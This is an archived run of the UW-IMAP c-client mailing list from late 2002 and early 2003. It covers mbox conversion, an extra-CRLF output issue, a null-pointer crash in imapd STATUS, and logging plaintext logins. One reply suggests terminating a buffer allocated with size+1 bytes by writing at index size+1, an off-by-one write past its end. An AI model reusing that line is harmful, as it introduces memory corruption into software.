cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 30 Dec 2002 15:22:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id gBUNLfjm034734; Mon, 30 Dec 2002 15:21:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNJSCK004950 for ; Mon, 30 Dec 2002 15:19:28 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNJOIP013954 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 30 Dec 2002 15:19:24 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.170]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id gBUNJOhS004667 for ; Mon, 30 Dec 2002 15:19:24 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Mon Dec 30 15:19:23 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNJKEo009524 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 30 Dec 2002 15:19:22 -0800 Message-Id: Date: Mon, 30 Dec 2002 15:19:27 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Oskar Teran Cc: UW-IMAP list Subject: Re: converting mbox to mbx.... In-Reply-To: <3E10C892.5040009@houston.rr.com> References: <3E10C892.5040009@houston.rr.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your problem may be due to you running these programs as root. It would be better if you su to the individual users and then convert. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Dec 30 15:45:02 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Dec 2002 15:45:02 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNj22U026082 for ; Mon, 30 Dec 2002 15:45:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNivqe007754 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 30 Dec 2002 15:44:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id gBUNiBjm005934; Mon, 30 Dec 2002 15:44:11 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNg0CK019156 for ; Mon, 30 Dec 2002 15:42:01 -0800 Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id gBUNfwwR004506 for ; Mon, 30 Dec 2002 15:41:58 -0800 Received: from user-0ccsq3o.cable.mindspring.com ([24.206.104.120] helo=houston.rr.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18T9Xe-0003Zc-00; Mon, 30 Dec 2002 15:41:55 -0800 Message-Id: <3E10D9C8.3030403@houston.rr.com> Date: Mon, 30 Dec 2002 17:42:00 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Oskar Teran To: Mark Crispin Cc: UW-IMAP list Subject: Re: converting mbox to mbx.... In-Reply-To: References: <3E10C892.5040009@houston.rr.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >Your problem may be due to you running these programs as root. It would >be better if you su to the individual users and then convert. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. > > > I'll try that..... From pinedev@shivax2.cac.washington.edu Tue Jan 7 10:41:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Jan 2003 10:41:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h07Ifi2U005887 for ; Tue, 7 Jan 2003 10:41:44 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h07If4qe032449 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 7 Jan 2003 10:41:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h07Icvll029188; Tue, 7 Jan 2003 10:38:57 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h07IX1CK015674 for ; Tue, 7 Jan 2003 10:33:02 -0800 Received: from mail18.svr.pol.co.uk (mail18.svr.pol.co.uk [195.92.67.23]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h07IWaAo029322 for ; Tue, 7 Jan 2003 10:32:37 -0800 Received: from modem-3800.aardvark.dialup.pol.co.uk ([217.134.14.216]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 18VyWd-0003pt-00 for c-client@u.washington.edu; Tue, 07 Jan 2003 18:32:31 +0000 Message-Id: Date: Tue, 7 Jan 2003 18:32:27 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: c-client@u.washington.edu Subject: Extra CRLF on rfc822_output_body() MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=XII, Probability=12%, Report="RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_00_01, USER_AGENT_PINE" X-Uwash-Spam: Gauge=II, Probability=2%, Report="SPAM_PHRASE_00_01, USER_AGENT_PINE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am using an IMAP server with mbx mailboxes to keep a drafts folder. Messages are read, edited and written back. Each time a message is written back to the server using rfc822_output(), then mail_append(), it becomes longer by an extra CRLF. This is only a problem when the message is 'simple'. Text stored in multipart messages is not affected. I have experimented with patching rfc822_output_body() as follows: Changed this line:- // if (!((*f) (s,tmp) && my_rfc822_output_body(&part->body,f,s))) return NIL; to this: if (!((*f) (s,tmp) && my_rfc822_output_body (&part->body,f,s) && (*f)(s,"\015\012"))) return NIL; And this line:- // if (t && *t && !((*f) (s,t) && (*f) (s,"\015\012"))) return NIL; to this: if (t && *t && !(*f)(s,t)) return NIL; Is it correct to patch as I suggest? On a separate point, I have noticed that the char* part of SIZEDTEXT must sometimes be a zero terminated string. I thought the idea of SIZEDTEXT was that the zero termination was not needed. If you take a unterminated SIZEDTEXT string and specify its encoding as 7bit - ie contains no 8bit data, the function rfc822_encode_body_7bit() skips it (reasonable as it is already 7bit data), then later this unterminated string is passed directly to i/o function specified as a parameter to rfc822_output() and described as only a char * (no length). Alternatively, if you took the same unterminated string from above and set the body encoding to 8bit, it would have been converted into a zero terminated string by rfc822_8bit(). I noticed this 'difference' when writing a function to copy body sections from one message to another. My function reads something like this:- destbody->encoding = srcbody->encoding; void *v = mail_fetch_body_full(stream, uid, section, &destbody->content.text.size, FT_PEEK | FT_UID); destbody->content.text.data = malloc(destbody->content.text.size); memcpy(destbody->content.text.data, v, destbody->content.text.size); ... etc Which should copy any body part regardless of the encoding, but if the original encoding is 7bit the copied string is unterminated and later assumed to be terminated when passed to rfc822_output(). Regards Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 7 16:28:28 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Jan 2003 16:28:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080SS2U019155 for ; Tue, 7 Jan 2003 16:28:28 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080Rsqe012614 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 7 Jan 2003 16:27:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h080Pqll016848; Tue, 7 Jan 2003 16:25:52 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080NNCK014052 for ; Tue, 7 Jan 2003 16:23:23 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080MR7u002038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 7 Jan 2003 16:22:41 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080MAeL005442; Tue, 7 Jan 2003 16:22:10 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h080M9Eo006153 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Jan 2003 16:22:10 -0800 Message-Id: Date: Tue, 7 Jan 2003 16:21:19 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: Re: Extra CRLF on rfc822_output_body() In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 7 Jan 2003, Mark Elvers wrote: > I am using an IMAP server with mbx mailboxes to keep a drafts folder. > Messages are read, edited and written back. Each time a message is > written back to the server using rfc822_output(), then mail_append(), it > becomes longer by an extra CRLF. This is only a problem when the message > is 'simple'. Text stored in multipart messages is not affected. If the message is "simple", why not just generate the header, and pass the concatenation of the header and text to mail_append() without going through all the complexity of rfc822_output()? rfc822_output() is intended to be used with SMTP and NNTP sending. As such, the trailing CRLF is needed. Your patch would break that. > On a separate point, I have noticed that the char* part of SIZEDTEXT must > sometimes be a zero terminated string. I thought the idea of SIZEDTEXT > was that the zero termination was not needed. Not necessarily. The purpose of the rfc822_encode_body_[78]bit() functions is to convert SIZEDTEXT strings (which may be binary) into null-terminated text strings which can be passed to a soutr_t function. soutr_t functions don't take a size. They probably should, but it's entirely too late to change it now. > destbody->encoding = srcbody->encoding; void *v = > mail_fetch_body_full(stream, uid, section, &destbody->content.text.size, > FT_PEEK | FT_UID); destbody->content.text.data = > malloc(destbody->content.text.size); memcpy(destbody->content.text.data, > v, destbody->content.text.size); ... etc change the destbody->content.text.data = malloc(destbody->content.text.size); to destbody->content.text.data = fs_get (destbody->content.text.size + 1); Then add: destbody->content.text.data[destbody->content.text.size+1] = '\0'; -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jan 7 20:51:25 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Jan 2003 20:51:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h084pP2U025294 for ; Tue, 7 Jan 2003 20:51:25 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h084p3qe018998 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 7 Jan 2003 20:51:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h084n0jm015064; Tue, 7 Jan 2003 20:49:00 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h084kgCK019032 for ; Tue, 7 Jan 2003 20:46:42 -0800 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h084kM7t026119 for ; Tue, 7 Jan 2003 20:46:22 -0800 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [211.39.128.65]) by mx-s0.dreamwiz.com (8.12.5/8.12.5) with ESMTP id h084kL8h058818 for ; Wed, 8 Jan 2003 13:46:21 +0900 (KST) Received: from localhost (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.12.5/8.12.5) with ESMTP id h084kFYh065153 for ; Wed, 8 Jan 2003 13:46:15 +0900 (KST) Message-Id: <200301080446.h084kFYh065153@pmail0.dreamwiz.com> Date: Wed, 8 Jan 2003 13:46:10 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjG?= To: c-client@u.washington.edu Subject: imap2002a STATUS bug MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender-IP: 211.118.99.151 X-Sender-ID: shoon@dreamwiz.com X-Priority: 3 X-DreamWiz-Data: receive_check=0;save=pmail0.dreamwiz.com:shoon:Sent:2193; X-Uwash-Spam: Gauge=XXXXIIIIIII, Probability=47%, Report="PATCH_CONTEXT_DIFF, PRIORITY_NO_NAME, RCVD_IN_RFCI, RCVD_IN_SBL, SPAM_PHRASE_01_02, __HAS_X_PRIORITY" X-Uwash-Spam: Gauge=XXXIIIIIIIII, Probability=39%, Report="PATCH_CONTEXT_DIFF, RCVD_IN_RFCI, RCVD_IN_SBL, SPAM_PHRASE_01_02, __HAS_X_MAILER, __HAS_X_PRIORITY" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello For web-mail service( about 9,000,000 users && 50 imap servers ), we use UW-IMAP packages. I upgraded UW-IMAP from 2000c to 2002a yesterday and got many syslog error messages. [syslog messages] Jan 7 15:15:42 host0 /kernel: pid 45690 (imapd), uid 2002: exited on signal 11 Jan 7 15:15:42 host0 /kernel: pid 45701 (imapd), uid 2002: exited on signal 11 Jan 7 15:16:02 host0 /kernel: pid 45790 (imapd), uid 2002: exited on signal 11 Jan 7 15:16:09 host0 /kernel: pid 45817 (imapd), uid 2002: exited on signal 11 By gdb, I found the position of SEGV and made a patch for imap-2002a. Please, check the following patch and examine the possiblity of stream == NIL. *** imap-2002a/src/imapd/imapd.c.orig Wed Jan 8 12:18:27 2003 --- imap-2002a/src/imapd/imapd.c Wed Jan 8 12:18:52 2003 *************** *** 896,902 **** if (state == LOGOUT) response = lose; /* get mailbox status */ else if (lastsel && (!strcmp (s,lastsel) || ! !strcmp (s,stream->mailbox))) { unsigned long unseen; #ifndef ENTOURAGE_BRAIN_DAMAGE /* snarl at cretins which do this */ --- 896,902 ---- if (state == LOGOUT) response = lose; /* get mailbox status */ else if (lastsel && (!strcmp (s,lastsel) || ! (stream&&!strcmp (s,stream->mailbox)))) { unsigned long unseen; #ifndef ENTOURAGE_BRAIN_DAMAGE /* snarl at cretins which do this */ Thanks. Choi, Sung-hoon DreamWiz Inc. Development Team ( Mail/Web/Network/System ) Phone : +82-2-3434-3541 HP : 011-9730-9689 MSN : shoon@dreamwiz.com,shoon007@hotmail.com ICQ : 33529335 WWW : http://my.dreamwiz.com/shoon/ E-mail : mailto:shoon@dreamwiz.com ------------------------------------------------- Your Life on the Net DreamWiz Free Mail @ http://www.dreamwiz.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 7 21:31:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Jan 2003 21:31:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085V92U026114 for ; Tue, 7 Jan 2003 21:31:09 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085UTHh005526 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 7 Jan 2003 21:30:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h085RQ09029910; Tue, 7 Jan 2003 21:27:27 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085P3CK012160 for ; Tue, 7 Jan 2003 21:25:03 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085OPtC025535 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 7 Jan 2003 21:24:25 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085OFeL030855; Tue, 7 Jan 2003 21:24:15 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h085OEEo016540 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 7 Jan 2003 21:24:15 -0800 Message-Id: Date: Tue, 7 Jan 2003 21:24:14 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?EUC-KR?B?w9a8usjG?= Cc: c-client@u.washington.edu Subject: Re: imap2002a STATUS bug In-Reply-To: <200301080446.h084kFYh065153@pmail0.dreamwiz.com> References: <200301080446.h084kFYh065153@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for reporting this issue. The problem only happens in a very specific circumstance: there must be a successful SELECT, followed by a failing SELECT (no such name) in the same session, followed by a STATUS in the same session. Although your patch makes the crash go away, the correct fix is to clear lastsel in the case of a failing SELECT. This fix will be in the release version of imap-2002b. I also suggest that your webmail program is probably doing something very wrong if that scenario happens frequently. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jan 9 14:41:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Jan 2003 14:41:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09MfS2U005401 for ; Thu, 9 Jan 2003 14:41:28 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09MfOHh004042 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 14:41:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h09MeEDb014774; Thu, 9 Jan 2003 14:40:14 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09MbGCK015796 for ; Thu, 9 Jan 2003 14:37:16 -0800 Received: from blanca.unet.brandeis.edu (blanca.unet.brandeis.edu [129.64.99.169]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09MbCCh019553 for ; Thu, 9 Jan 2003 14:37:12 -0800 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by blanca.unet.brandeis.edu (8.12.5/8.12.5) with ESMTP id h09MbBEg016551 for ; Thu, 9 Jan 2003 17:37:11 -0500 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.11.6/8.11.6) with ESMTP id h09MbBH00459 for ; Thu, 9 Jan 2003 17:37:11 -0500 Message-Id: Date: Thu, 9 Jan 2003 17:37:11 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Logging plaintext logins? (SSLTYPE=unix -> nopwd transition) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We are finally going to do the right thing and change from SSLTYPE=unix to SSLTYPE=nopwd (allow cleartext logins only in encrypted sessions). We would very much like to identify all users who have ignored our instructions and will be affected by this change. It's not clear to me how to do this. Identifying port 993/995 connections is relatively easy, but the server doesn't seem to log successful STARTTLS transitions, nor do I see a difference between cleartext AUTH logins and GSSAPI logins. I'd be happy to hack the syslog() lines in the source if I could find a single or set of global variables that would tell me if the login currently being attempted *would* be allowed under SSLTYPE=nopwd conditions. We are currently running imap-2001.315+security and local patches. Secure mechanisms we currently support are alternative SSL port, STARTTLS, AUTH=GSSAPI, and rimapd preauthentication. I could go to imap-2002 if it would make this easier, but I'm trying to play nice with future sysadmins by making maximum use of RedHat packages. -- Rich Graves UNet Systems Administrator -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 9 15:23:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Jan 2003 15:23:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NNT2U006987 for ; Thu, 9 Jan 2003 15:23:29 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NNOHh005463 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 15:23:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h09NMiDb084088; Thu, 9 Jan 2003 15:22:44 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NKTCK011570 for ; Thu, 9 Jan 2003 15:20:29 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NKQG1015351 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Jan 2003 15:20:26 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NKOUR009169; Thu, 9 Jan 2003 15:20:24 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NKAEo027139 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 9 Jan 2003 15:20:21 -0800 Message-Id: Date: Thu, 9 Jan 2003 15:20:05 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: Logging plaintext logins? (SSLTYPE=unix -> nopwd transition) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Jan 2003, Rich Graves wrote: > I'd be happy to hack the syslog() lines in the source if I could find a > single or set of global variables that would tell me if the login currently > being attempted *would* be allowed under SSLTYPE=nopwd conditions. If the syslog() says "Login" then the user used the plaintext LOGIN command. If the syslog() says "Authenticated" then the user used SASL. It is a simple hack to the syslog() in imapd.c (search for "Authenticated user") to include the SASL mechanism name (which should still be pointed to by variable "s"). SASL mechanisms LOGIN and PLAIN are plaintext and would not be allowed by SSLTYPE=nopwd. > I could go to imap-2002 if it would make this easier, but I'm trying to > play nice with future sysadmins by making maximum use of RedHat packages. I think that imap-2002 would make things easier since it has a year of bugfixes and enhancements over imap-2001. imap-2002b is being released later today. I don't know what RedHat may have changed though. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jan 9 15:54:57 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Jan 2003 15:54:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09Nsv2U008171 for ; Thu, 9 Jan 2003 15:54:57 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NsrHh006489 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 15:54:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h09Nr4jm030746; Thu, 9 Jan 2003 15:53:05 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NoVCK033896 for ; Thu, 9 Jan 2003 15:50:31 -0800 Received: from alba.unet.brandeis.edu (alba.unet.brandeis.edu [129.64.99.163]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h09NoQCb025211 for ; Thu, 9 Jan 2003 15:50:27 -0800 Received: from babylon.brandeis.edu (babylon.brandeis.edu [129.64.99.111]) by alba.unet.brandeis.edu (8.12.5/8.12.5) with ESMTP id h09NoPPB007551 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Thu, 9 Jan 2003 18:50:25 -0500 Message-Id: Date: Thu, 9 